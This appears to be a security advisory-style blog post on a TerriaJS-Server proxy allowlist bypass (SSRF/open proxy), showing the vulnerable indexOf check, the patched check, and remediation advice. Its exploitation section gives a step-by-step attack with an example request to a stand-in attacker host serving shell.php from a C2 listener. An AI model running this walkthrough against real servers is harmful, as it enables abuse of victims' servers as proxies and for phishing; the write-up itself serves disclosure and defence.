Feb 26, 2026·6 min read·4 visits
TerriaJS-Server versions prior to 4.0.3 used a flawed logic check to validate proxy targets. It checked if a requested host *ended with* a trusted domain string without ensuring a dot separator. This allowed attackers to register domains like `evil-trusted.com` to bypass the whitelist for `trusted.com`. Fix requires updating to 4.0.3 where strict subdomain validation is enforced.
A classic string validation error in the TerriaJS-Server proxy controller allowed attackers to bypass domain allowlists. By relying on a primitive `indexOf` check to validate hostnames, the server failed to distinguish between legitimate subdomains and malicious domains sharing a common suffix. This vulnerability transforms the geospatial data server into an open proxy, enabling Server-Side Request Forgery (SSRF) and potential network scanning.
If you have ever built a modern web application that mashes up data from different sources, you know the pain of Cross-Origin Resource Sharing (CORS). Browsers are paranoid, and rightfully so. To get around this, developers often deploy a "proxy"—a server-side component that fetches data on behalf of the client, stripping away those pesky CORS headers and handing the data back to the browser like a polite waiter.
TerriaJS, a robust library for building geospatial data explorers, includes terriajs-server specifically for this purpose. It allows the frontend to request map tiles and heavy JSON payloads from third-party servers. But obviously, you can't just run an open proxy on the internet. That's how you get your server blacklisted by every ISP on the planet. So, TerriaJS implements a proxyableDomains allowlist. It's the bouncer at the club, checking IDs to make sure only VIPs (trusted domains) get in.
Unfortunately, in CVE-2026-27818, the bouncer was a bit too lax. He wasn't checking the ID; he was just checking if your name sounded vaguely similar to someone on the list. This isn't just a configuration error; it's a fundamental misunderstanding of how string matching works in a security context.
The vulnerability lies deep within lib/controllers/proxy.js. The goal was simple: ensure the requested host is present in the proxyableDomains array. A naive developer might iterate through the list and check if the host contains the trusted domain. A slightly smarter developer would check if the host ends with the trusted domain to allow subdomains (e.g., allowing google.com should also allow maps.google.com).
The TerriaJS implementation did exactly that, but with a fatal flaw. It used indexOf with a calculated offset to verify the ending. Here is the logic in plain English: "If the trusted string is found exactly at the end of the requested string, let it in."
The problem? DNS relies on dots (.) to separate hierarchy. This code ignored that. If your allowed domain is example.com, the code effectively says "anything ending in example.com is fine." This means attacker-example.com, not-example.com, and evilexample.com are all treated as valid subdomains of example.com. They are not. They are entirely different domains that just happen to share a suffix.
Let's look at the smoking gun. This is the code that ran in production servers prior to version 4.0.3. It’s a perfect example of why you shouldn't do "string math" for security boundaries.
The Vulnerable Code:
// host is the attacker-controlled input
// proxyDomains[i] is the trusted whitelist item
if (
host.indexOf(proxyDomains[i], host.length - proxyDomains[i].length) !== -1
) {
// Access Granted!
}See the issue? If host is evilcorp.com and proxyDomains[i] is corp.com, the math works out perfectly. evilcorp.com ends with corp.com. The check passes, and the server fetches content from the attacker's domain.
The Fix (Commit 3aaa5d9): The patch introduces the necessary boundary check. It forces the match to be either identical OR strictly a subdomain preceded by a dot.
const domainLower = proxyDomains[i].toLowerCase();
if (
host === domainLower || host.endsWith("." + domainLower)
) {
// Access Granted, safely.
}By adding the dot (.) to the check (e.g., looking for .example.com), they eliminated the suffix collision class of attacks entirely. It’s a one-character difference that separates a secure proxy from an open relay.
Exploiting this is trivially easy and requires no special tooling—just a domain registrar and a web browser. Let's assume the victim server has whitelisted data.gov because it's a mapping application.
Step 1: Reconnaissance
First, we verify the target is running TerriaJS-Server. We can usually identify this by the /proxy/ endpoint structure. We then guess the whitelist. Common mapping applications almost always whitelist arcgis.com, google.com, or data.gov.
Step 2: The Setup
We purchase a domain that creates a suffix collision. Let's buy my-malicious-data.gov? No, we can't buy .gov domains. But if the whitelist has mapbox.com, we can buy evilmapbox.com. Let's assume the whitelist contains generic-mapping-provider.com.
We register attacker-generic-mapping-provider.com. We point this domain to our own C2 server running a listener.
Step 3: The Attack
We send the following request to the victim:
GET /proxy/http://attacker-generic-mapping-provider.com/shell.php
The server checks: Does attacker-generic-mapping-provider.com end with generic-mapping-provider.com? Yes. The request is proxied. The victim server connects to us. We can now serve malicious content that appears to come from the trusted TerriaJS server, or simply use their bandwidth to hide our identity.
Why is this CVSS 8.7? Isn't it just an open proxy? Not quite. In the context of enterprise mapping applications, these servers often sit inside a perimeter. While this specific exploit relies on external DNS resolution (you need to own the domain), the implications of SSRF are broad.
trusted-maps.org/proxy/http://evil.com/login and might trust it more than a raw link.internal.corp), and the attacker can find a way to resolve a suffix-matching domain to an internal IP (via DNS rebinding or Split DNS configurations), they could map the internal network.Most critically, this allows an attacker to bypass the intended access controls of the application completely. The proxyableDomains config is the only thing stopping this server from being a free VPN for the internet. Breaking it breaks the security model of the application.
The immediate fix is to upgrade terriajs-server to version 4.0.3. This version implements the correct boundary checks for subdomains.
If upgrading is impossible (it never is, but let's pretend), you can monkey-patch the lib/controllers/proxy.js file manually. Replace the indexOf check with a strict .endsWith('.' + domain) check. Additionally, verify your proxyableDomains config. If you have extremely short domains listed (like .com or co.uk), remove them immediately. Whitelisting TLDs is suicide.
For Developers:
Never use indexOf, includes, or regex without anchors (^ and $) for validating security boundaries. URLs are structured data. Use the URL parser (new URL()) to extract the hostname, and then validate the hostname segments individually. String manipulation is the enemy of security.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
terriajs-server TerriaJS | < 4.0.3 | 4.0.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-20 |
| Attack Vector | Network |
| CVSS v4 | 8.7 (High) |
| EPSS Score | 0.00082 |
| Impact | SSRF / Open Proxy |
| Exploit Status | POC Available |
Improper Input Validation